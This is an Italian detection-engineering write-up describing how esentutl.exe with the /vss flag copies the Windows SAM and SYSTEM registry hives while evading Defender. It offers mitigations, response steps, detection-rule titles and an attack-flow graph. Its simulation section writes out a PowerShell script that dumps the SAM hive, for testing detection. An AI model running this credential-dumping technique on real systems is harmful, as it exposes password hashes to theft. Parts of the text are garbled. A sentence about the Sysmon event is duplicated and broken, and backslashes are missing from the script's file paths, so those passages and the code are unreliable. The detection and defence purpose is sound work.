Il Mese dei Bypass: Cosa Sfugge ai Difensori
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Il team di Persistent Security descrive un nuovo modo per eludere il rilevamento della tecnica di dumping delle credenziali T1003.002 sfruttando l’utility firmata di Windows esentutl.exe. Utilizzando le flag relative a VSS, lo strumento può copiare i SAM and registri di sistema SYSTEM senza attivare Microsoft Defender nello stesso modo dei metodi di dumping più comuni.
Indagine
I ricercatori hanno testato tre approcci tradizionali per eseguire il dumping dei registri, inclusi reg save, creazione di copie ombra vssadmin e copia diretta dei file, e hanno scoperto che Defender li bloccava tutti. Hanno poi utilizzato il test delle varianti assistito dall’IA per identificare un percorso alternativo: esentutl.exe poteva accedere ed estrarre i registri attraverso la sua funzionalità VSS integrata, evitando le rilevazioni esistenti di Defender.
Mitigazione
Le difese raccomandate includono la restrizione di esentutl.exe tramite AppLocker o WDAC, la creazione di regole Sysmon per rilevare le esentutl esecuzioni che utilizzano la /vss flag, e il monitoraggio per l’attività di copia ombra avviata al di fuori del comportamento normale del sistema. Le organizzazioni dovrebbero anche implementare LAPS per gli account amministratore locale e disabilitare VSS dove non è operativamente necessario.
Risposta
If esentutl.exe viene osservato in esecuzione con la /vss flag e scrivendo a file associati a SAM or registri di sistema SYSTEM, i difensori dovrebbero isolare l’host interessato, raccogliere prove di memoria e registro, confermare se si è verificato un dumping di credenziali e applicare i controlli delle politiche raccomandate per prevenire recidive.
graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef file fill:#ffdd99 %% Nodes action_esentutl_exec[“<b>Azione</b> – <b>T1218.002 Esecuzione Proxy di Binari di Sistema</b><br/>Eseguire esentutl.exe con i parametri /y /vss per creare una Volume Shadow Copy”] class action_esentutl_exec action tool_esentutl[“<b>Strumento</b> – <b>Nome</b>: esentutl.exe<br/><b>Descrizione</b>: Utility interna di Windows per la gestione dell’Extensible Storage Engine”] class tool_esentutl builtin action_copy_hives[“<b>Azione</b> – <b>T1003 Dump delle Credenziali del Sistema Operativo</b><br/>Copiare i file hive SAM e SYSTEM dalla shadow copy in una posizione scrivibile”] class action_copy_hives action action_store_unsecured[“<b>Azione</b> – <b>T1552.001 Credenziali nei File</b><br/>Memorizzare i file hive estratti su disco per analisi offline successive”] class action_store_unsecured action file_sam[“<b>File</b> – sam_dump<br/><b>Contenuto</b>: Hive SAM contenente hash delle password”] class file_sam file file_sys[“<b>File</b> – sys_dump<br/><b>Contenuto</b>: Hive SYSTEM contenente la chiave di boot del sistema”] class file_sys file %% Connections action_esentutl_exec –>|uses| tool_esentutl action_esentutl_exec –>|leads_to| action_copy_hives action_copy_hives –>|uses| tool_esentutl action_copy_hives –>|creates| file_sam action_copy_hives –>|creates| file_sys file_sam –>|used_by| action_store_unsecured file_sys –>|used_by| action_store_unsecured
Flusso di Attacco
Rilevamenti
LOLBAS Esentutl (via cmdline)
Visualizza
Attività sospetta di VSSADMIN (via cmdline)
Visualizza
Possibile Dumping di SAM/SYSTEM/SECURITY (via cmdline)
Visualizza
Copia sospetta di SAM/SECURITY/NTDS.dit via Shadow Copy (via cmdline)
Visualizza
Rileva l’esecuzione di Esentutl con VSS per il Bypass del Registro SAM [Windows Sysmon]
Visualizza
Bypass Estrattore del Registro SAM via Esentutl e Shadow Copy WMI [Creazione Processo Windows]
Visualizza
Esecuzione della simulazione
Prerequisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere superato.
Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta aspettata dalla logica di rilevamento.
-
Narrativa & Comandi dell’attacco:
Un avversario che ha ottenuto un punto d’appoggio su un host Windows compromesso desidera raccogliere hash delle credenziali senza attivare strumenti di dumping delle credenziali tipici che sono comunemente monitorati. L’attaccante sfrutta ilesentutl.exebinario integrato con l’interruttore/vssper creare una copia ombra del volume di sistema ed estrarre il registro SAM protetto. I passaggi sono:- Crea una directory temporanea per l’esportazione dello snapshot.
- Invoca
esentutl.execon i flag/y(sovrascrivi) e/vsspuntando al percorso del registro SAM. - Copia il file SAM esportato in una posizione sotto il controllo dell’attaccante.
- (Opzionale) Pulisci il file dello snapshot temporaneo per ridurre l’impronta forense.
Questa sequenza produce un evento Sysmon ProcessCreate dove l’immagine termina con
l'immagine termina conLa riga di comando contiene la stringaesentutl.exeand, soddisfacendo la regola di rilevamento.contiene la stringa/vss, soddisfacendo la regola di rilevamento. -
Script di Test di Regressione:
# ---------------------------------------------- # Simula estrazione del SAM basata su VSS usando esentutl # ---------------------------------------------- $tempDir = "$env:TEMPVSS_Export" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null # Percorso al registro SAM (copia in sola lettura sarà esportata) $samHive = "$env:SystemRootSystem32configSAM" $outputFile = Join-Path $tempDir "SAM_copy.edb" # Esegui esentutl con VSS per esportare il registro SAM $esentPath = "$env:SystemRootSystem32esentutl.exe" $arguments = "/y /vss `"$samHive`" `"$outputFile`"" Write-Host "Esecuzione: $esentPath $arguments" & $esentPath $arguments # Verifica se l'esportazione è riuscita if (Test-Path $outputFile) { Write-Host "Registro SAM esportato in $outputFile" } else { Write-Warning "Esportazione fallita o nessun file creato." } # Pulisci file snapshot (opzionale, dipende dal comportamento del SO) # Nota: I file di snapshot VSS sono tipicamente auto-cancellati dopo l'esportazione. -
Comandi di Pulizia:
# Rimuovi directory ed file di esportazione temporanei $tempDir = "$env:TEMPVSS_Export" if (Test-Path $tempDir) { Remove-Item -Recurse -Force -Path $tempDir Write-Host "Pulizia completa: $tempDir rimosso." } else { Write-Host "Nessuna pulizia necessaria; directory non trovata." }